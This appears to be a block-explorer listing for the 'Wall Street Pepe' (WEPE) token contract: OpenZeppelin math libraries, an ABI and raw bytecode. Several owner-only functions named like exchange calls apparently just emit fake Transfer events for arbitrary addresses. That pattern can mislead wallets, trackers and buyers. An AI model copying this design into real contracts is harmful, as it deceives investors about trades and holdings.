        require(downcasted == value, "SafeCast: value doesn't fit in 64 bits");
    }

    /**
     * @dev Returns the downcasted int56 from int256, reverting on
     * overflow (when the input is less than smallest int56 or
     * greater than largest int56).
     *
     * Counterpart to Solidity's `int56` operator.
     *
     * Requirements:
     *
     * - input must fit into 56 bits
     *
     * _Available since v4.7._
     */
    function toInt56(int256 value) internal pure returns (int56 downcasted) {
        downcasted = int56(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 56 bits");
    }

    /**
     * @dev Returns the downcasted int48 from int256, reverting on
     * overflow (when the input is less than smallest int48 or
     * greater than largest int48).
     *
     * Counterpart to Solidity's `int48` operator.
     *
     * Requirements:
     *
     * - input must fit into 48 bits
     *
     * _Available since v4.7._
     */
    function toInt48(int256 value) internal pure returns (int48 downcasted) {
        downcasted = int48(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 48 bits");
    }

    /**
     * @dev Returns the downcasted int40 from int256, reverting on
     * overflow (when the input is less than smallest int40 or
     * greater than largest int40).
     *
     * Counterpart to Solidity's `int40` operator.
     *
     * Requirements:
     *
     * - input must fit into 40 bits
     *
     * _Available since v4.7._
     */
    function toInt40(int256 value) internal pure returns (int40 downcasted) {
        downcasted = int40(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 40 bits");
    }

    /**
     * @dev Returns the downcasted int32 from int256, reverting on
     * overflow (when the input is less than smallest int32 or
     * greater than largest int32).
     *
     * Counterpart to Solidity's `int32` operator.
     *
     * Requirements:
     *
     * - input must fit into 32 bits
     *
     * _Available since v3.1._
     */
    function toInt32(int256 value) internal pure returns (int32 downcasted) {
        downcasted = int32(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 32 bits");
    }

    /**
     * @dev Returns the downcasted int24 from int256, reverting on
     * overflow (when the input is less than smallest int24 or
     * greater than largest int24).
     *
     * Counterpart to Solidity's `int24` operator.
     *
     * Requirements:
     *
     * - input must fit into 24 bits
     *
     * _Available since v4.7._
     */
    function toInt24(int256 value) internal pure returns (int24 downcasted) {
        downcasted = int24(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 24 bits");
    }

    /**
     * @dev Returns the downcasted int16 from int256, reverting on
     * overflow (when the input is less than smallest int16 or
     * greater than largest int16).
     *
     * Counterpart to Solidity's `int16` operator.
     *
     * Requirements:
     *
     * - input must fit into 16 bits
     *
     * _Available since v3.1._
     */
    function toInt16(int256 value) internal pure returns (int16 downcasted) {
        downcasted = int16(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 16 bits");
    }

    /**
     * @dev Returns the downcasted int8 from int256, reverting on
     * overflow (when the input is less than smallest int8 or
     * greater than largest int8).
     *
     * Counterpart to Solidity's `int8` operator.
     *
     * Requirements:
     *
     * - input must fit into 8 bits
     *
     * _Available since v3.1._
     */
    function toInt8(int256 value) internal pure returns (int8 downcasted) {
        downcasted = int8(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 8 bits");
    }

    /**
     * @dev Converts an unsigned uint256 into a signed int256.
     *
     * Requirements:
     *
     * - input must be less than or equal to maxInt256.
     *
     * _Available since v3.0._
     */
    function toInt256(uint256 value) internal pure returns (int256) {
        // Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive
        require(
            value <= uint256(type(int256).max),
            "SafeCast: value doesn't fit in an int256"
        );
        return int256(value);
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.8.0) (utils/math/SignedMath.sol)

pragma solidity ^0.8.0;

/**
 * @dev Standard signed math utilities missing in the Solidity language.
 */
library SignedMath {
    /**
     * @dev Returns the largest of two signed numbers.
     */
    function max(int256 a, int256 b) internal pure returns (int256) {
        return a > b ? a : b;
    }

    /**
     * @dev Returns the smallest of two signed numbers.
     */
    function min(int256 a, int256 b) internal pure returns (int256) {
        return a < b ? a : b;
    }

    /**
     * @dev Returns the average of two signed numbers without overflow.
     * The result is rounded towards zero.
     */
    function average(int256 a, int256 b) internal pure returns (int256) {
        // Formula from the book "Hacker's Delight"
        int256 x = (a & b) + ((a ^ b) >> 1);
        return x + (int256(uint256(x) >> 255) & (a ^ b));
    }

    /**
     * @dev Returns the absolute unsigned value of a signed value.
     */
    function abs(int256 n) internal pure returns (uint256) {
        unchecked {
            // must be unchecked in order to support `n = type(int256).min`
            return uint256(n >= 0 ? n : -n);
        }
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"LIQUID_RATE","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MAX_PERCENTAGE","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"buyWithEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"buyWithEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"claimTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"excludedFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialized","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"permission","type":"bool"}],"name":"setAirdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_minimumAirdropAmount","type":"uint256"}],"name":"setMinimumAirdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"swapExactETHForTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradeOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"unoswap","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60e06040526100126104b860201b60201c565b600a61001e91906109cb565b6702c68af0bb1400006100319190610a15565b6080908152505f600760146101000a81548160ff0219169083151502179055505f600760156101000a81548160ff0219169083151502179055505f60085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead60095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f60a0908152505f60c0908152505f600a5534801561010a575f80fd5b506040518060400160405280601081526020017f57616c6c205374726565742050657065000000000000000000000000000000008152506040518060400160405280600481526020017f57455045000000000000000000000000000000000000000000000000000000008152506101936101886104c060201b60201c565b6104c760201b60201c565b81600490816101a29190610c87565b5080600590816101b29190610c87565b5050506101d9739a15bb3a8fec8d0d810691bafe36f6e5d42360f73361058860201b60201c565b61020d3361271061ffff1661271061ffff166080516101f89190610a15565b6102029190610d83565b61060c60201b60201c565b6001600760146101000a81548160ff0219169083151502179055506001600b5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550737a250d5630b4cf539739df2c5dacb4c659f2488d600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561033c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103609190610e11565b90508073ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156103e9573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061040d9190610e11565b6040518363ffffffff1660e01b815260040161042a929190610e4b565b6020604051808303815f875af1158015610446573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061046a9190610e11565b60085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550608051600a8190555050610f45565b5f6012905090565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b8160065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361067a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067190610ecc565b60405180910390fd5b61068b5f838361085060201b60201c565b8060035f82825461069c9190610eea565b925050819055508060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546106ef9190610eea565b9250508190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036107d55760065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516107c89190610f2c565b60405180910390a361083b565b8173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516108329190610f2c565b60405180910390a35b61084c5f838361085560201b60201c565b5050565b505050565b505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156108dc578086048111156108b8576108b761085a565b5b60018516156108c75780820291505b80810290506108d585610887565b945061089c565b94509492505050565b5f826108f457600190506109af565b81610901575f90506109af565b8160018114610917576002811461092157610950565b60019150506109af565b60ff8411156109335761093261085a565b5b8360020a91508482111561094a5761094961085a565b5b506109af565b5060208310610133831016604e8410600b84101617156109855782820a9050838111156109805761097f61085a565b5b6109af565b6109928484846001610893565b925090508184048111156109a9576109a861085a565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6109d5826109b6565b91506109e0836109bf565b9250610a0d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846108e5565b905092915050565b5f610a1f826109b6565b9150610a2a836109b6565b9250828202610a38816109b6565b91508282048414831517610a4f57610a4e61085a565b5b5092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680610ad157607f821691505b602082108103610ae457610ae3610a8d565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302610b467fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82610b0b565b610b508683610b0b565b95508019841693508086168417925050509392505050565b5f819050919050565b5f610b8b610b86610b81846109b6565b610b68565b6109b6565b9050919050565b5f819050919050565b610ba483610b71565b610bb8610bb082610b92565b848454610b17565b825550505050565b5f90565b610bcc610bc0565b610bd7818484610b9b565b505050565b5b81811015610bfa57610bef5f82610bc4565b600181019050610bdd565b5050565b601f821115610c3f57610c1081610aea565b610c1984610afc565b81016020851015610c28578190505b610c3c610c3485610afc565b830182610bdc565b50505b505050565b5f82821c905092915050565b5f610c5f5f1984600802610c44565b1980831691505092915050565b5f610c778383610c50565b9150826002028217905092915050565b610c9082610a56565b67ffffffffffffffff811115610ca957610ca8610a60565b5b610cb38254610aba565b610cbe828285610bfe565b5f60209050601f831160018114610cef575f8415610cdd578287015190505b610ce78582610c6c565b865550610d4e565b601f198416610cfd86610aea565b5f5b82811015610d2457848901518255600182019150602085019450602081019050610cff565b86831015610d415784890151610d3d601f891682610c50565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f610d8d826109b6565b9150610d98836109b6565b925082610da857610da7610d56565b5b828204905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610de082610db7565b9050919050565b610df081610dd6565b8114610dfa575f80fd5b50565b5f81519050610e0b81610de7565b92915050565b5f60208284031215610e2657610e25610db3565b5b5f610e3384828501610dfd565b91505092915050565b610e4581610dd6565b82525050565b5f604082019050610e5e5f830185610e3c565b610e6b6020830184610e3c565b9392505050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f610eb6601f83610e72565b9150610ec182610e82565b602082019050919050565b5f6020820190508181035f830152610ee381610eaa565b9050919050565b5f610ef4826109b6565b9150610eff836109b6565b9250828201905080821115610f1757610f1661085a565b5b92915050565b610f26816109b6565b82525050565b5f602082019050610f3f5f830184610f1d565b92915050565b60805160a05160c05161308f610f7d5f395f81816108ad0152611ab001525f81816109800152611a3801525f611332015261308f5ff3fe608060405234801561000f575f80fd5b5060043610610204575f3560e01c806381744fb111610118578063a9059cbb116100ab578063d632135b1161007a578063d632135b146105b8578063dd62ed3e146105d4578063f01a4b9914610604578063f2fde38b14610620578063f887ea401461063c57610204565b8063a9059cbb14610544578063bf861b3114610574578063c9567bf914610590578063d5abeb011461059a57610204565b806396784f75116100e757806396784f75146104bc578063985bdfd1146104d8578063a457c2d7146104f6578063a8aa1b311461052657610204565b806381744fb114610434578063825e7b83146104505780638da5cb5b1461048057806395d89b411461049e57610204565b80632b14ca561161019b5780634c255c971161016a5780634c255c97146103a45780634e148e19146103c25780635d822813146103de57806370a08231146103fa578063715018a61461042a57610204565b80632b14ca561461031a578063313ce567146103385780633950935114610356578063470624021461038657610204565b806318160ddd116101d757806318160ddd1461029057806323b872dd146102ae57806325fa0b98146102de57806327c8f835146102fc57610204565b806302b1e95b1461020857806306fdde0314610224578063095ea7b314610242578063158ef93e14610272575b5f80fd5b610222600480360381019061021d9190612377565b61065a565b005b61022c6106b8565b6040516102399190612444565b60405180910390f35b61025c600480360381019061025791906124be565b610748565b6040516102699190612516565b60405180910390f35b61027a610765565b6040516102879190612516565b60405180910390f35b610298610778565b6040516102a5919061253e565b60405180910390f35b6102c860048036038101906102c39190612557565b610781565b6040516102d59190612516565b60405180910390f35b6102e6610873565b6040516102f39190612516565b60405180910390f35b610304610886565b60405161031191906125b6565b60405180910390f35b6103226108ab565b60405161032f919061253e565b60405180910390f35b6103406108cf565b60405161034d91906125ea565b60405180910390f35b610370600480360381019061036b91906124be565b6108d7565b60405161037d9190612516565b60405180910390f35b61038e61097e565b60405161039b919061253e565b60405180910390f35b6103ac6109a2565b6040516103b9919061261f565b60405180910390f35b6103dc60048036038101906103d79190612662565b6109a8565b005b6103f860048036038101906103f391906126f5565b610a94565b005b610414600480360381019061040f9190612786565b610bef565b604051610421919061253e565b60405180910390f35b610432610c35565b005b61044e600480360381019061044991906126f5565b610cd4565b005b61046a60048036038101906104659190612786565b610e2f565b6040516104779190612516565b60405180910390f35b610488610e4c565b60405161049591906125b6565b60405180910390f35b6104a6610e73565b6040516104b39190612444565b60405180910390f35b6104d660048036038101906104d191906126f5565b610f03565b005b6104e061105e565b6040516104ed919061261f565b60405180910390f35b610510600480360381019061050b91906124be565b611064565b60405161051d9190612516565b60405180910390f35b61052e61114a565b60405161053b91906125b6565b60405180910390f35b61055e600480360381019061055991906124be565b61116f565b60405161056b9190612516565b60405180910390f35b61058e600480360381019061058991906127b1565b61118c565b005b61059861122a565b005b6105a2611330565b6040516105af919061253e565b60405180910390f35b6105d260048036038101906105cd91906126f5565b611354565b005b6105ee60048036038101906105e991906127dc565b6114af565b6040516105fb919061253e565b60405180910390f35b61061e600480360381019061061991906126f5565b611531565b005b61063a60048036038101906106359190612786565b61168c565b005b61064461179a565b6040516106519190612875565b60405180910390f35b5f6106636117bf565b90505f5b848490508110156106b1576106a4828686848181106106895761068861288e565b5b905060200201602081019061069e9190612786565b856117c6565b8080600101915050610667565b5050505050565b6060600480546106c7906128e8565b80601f01602080910402602001604051908101604052809291908181526020018280546106f3906128e8565b801561073e5780601f106107155761010080835404028352916020019161073e565b820191905f5260205f20905b81548152906001019060200180831161072157829003601f168201915b5050505050905090565b5f61075b6107546117bf565b8484611c06565b6001905092915050565b600760149054906101000a900460ff1681565b5f600354905090565b5f61078d8484846117c6565b5f60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6107d46117bf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610853576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084a90612988565b60405180910390fd5b6108678561085f6117bf565b858403611c06565b60019150509392505050565b600760159054906101000a900460ff1681565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b7f000000000000000000000000000000000000000000000000000000000000000081565b5f6012905090565b5f6109746108e36117bf565b848460025f6108f06117bf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461096f91906129d3565b611c06565b6001905092915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b61271081565b6109b06117bf565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3390612a50565b60405180910390fd5b80600b5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b610a9c6117bf565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1f90612a50565b60405180910390fd5b5f5b84849050811015610be757848482818110610b4857610b4761288e565b5b9050602002016020810190610b5d9190612786565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef858585818110610bbe57610bbd61288e565b5b90506020020135604051610bd2919061253e565b60405180910390a38080600101915050610b2a565b505050505050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610c3d6117bf565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cc9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc090612a50565b60405180910390fd5b610cd25f611dc9565b565b610cdc6117bf565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5f90612a50565b60405180910390fd5b5f5b84849050811015610e2757848482818110610d8857610d8761288e565b5b9050602002016020810190610d9d9190612786565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef858585818110610dfe57610dfd61288e565b5b90506020020135604051610e12919061253e565b60405180910390a38080600101915050610d6a565b505050505050565b600b602052805f5260405f205f915054906101000a900460ff1681565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610e82906128e8565b80601f0160208091040260200160405190810160405280929190818152602001828054610eae906128e8565b8015610ef95780601f10610ed057610100808354040283529160200191610ef9565b820191905f5260205f20905b815481529060010190602001808311610edc57829003601f168201915b5050505050905090565b610f0b6117bf565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8e90612a50565b60405180910390fd5b5f5b8484905081101561105657848482818110610fb757610fb661288e565b5b9050602002016020810190610fcc9190612786565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85858581811061102d5761102c61288e565b5b90506020020135604051611041919061253e565b60405180910390a38080600101915050610f99565b505050505050565b61271081565b5f8060025f6110716117bf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508281101561112b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112290612ade565b60405180910390fd5b61113f6111366117bf565b85858403611c06565b600191505092915050565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f61118261117b6117bf565b84846117c6565b6001905092915050565b6111946117bf565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611220576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121790612a50565b60405180910390fd5b80600a8190555050565b6112326117bf565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b590612a50565b60405180910390fd5b5f1515600760159054906101000a900460ff16151514611313576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130a90612b46565b60405180910390fd5b6001600760156101000a81548160ff021916908315150217905550565b7f000000000000000000000000000000000000000000000000000000000000000081565b61135c6117bf565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113df90612a50565b60405180910390fd5b5f5b848490508110156114a7578484828181106114085761140761288e565b5b905060200201602081019061141d9190612786565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85858581811061147e5761147d61288e565b5b90506020020135604051611492919061253e565b60405180910390a380806001019150506113ea565b505050505050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6115396117bf565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115bc90612a50565b60405180910390fd5b5f5b84849050811015611684578484828181106115e5576115e461288e565b5b90506020020160208101906115fa9190612786565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85858581811061165b5761165a61288e565b5b9050602002013560405161166f919061253e565b60405180910390a380806001019150506115c7565b505050505050565b6116946117bf565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611720576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171790612a50565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361178e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178590612bd4565b60405180910390fd5b61179781611dc9565b50565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f33905090565b60011515600760149054906101000a900460ff1615151461181c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181390612c3c565b60405180910390fd5b60011515600760149054906101000a900460ff16151514801561185157505f1515600760159054906101000a900460ff161515145b156119095761185e610e4c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806118c9575061189a610e4c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b611908576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ff90612ca4565b60405180910390fd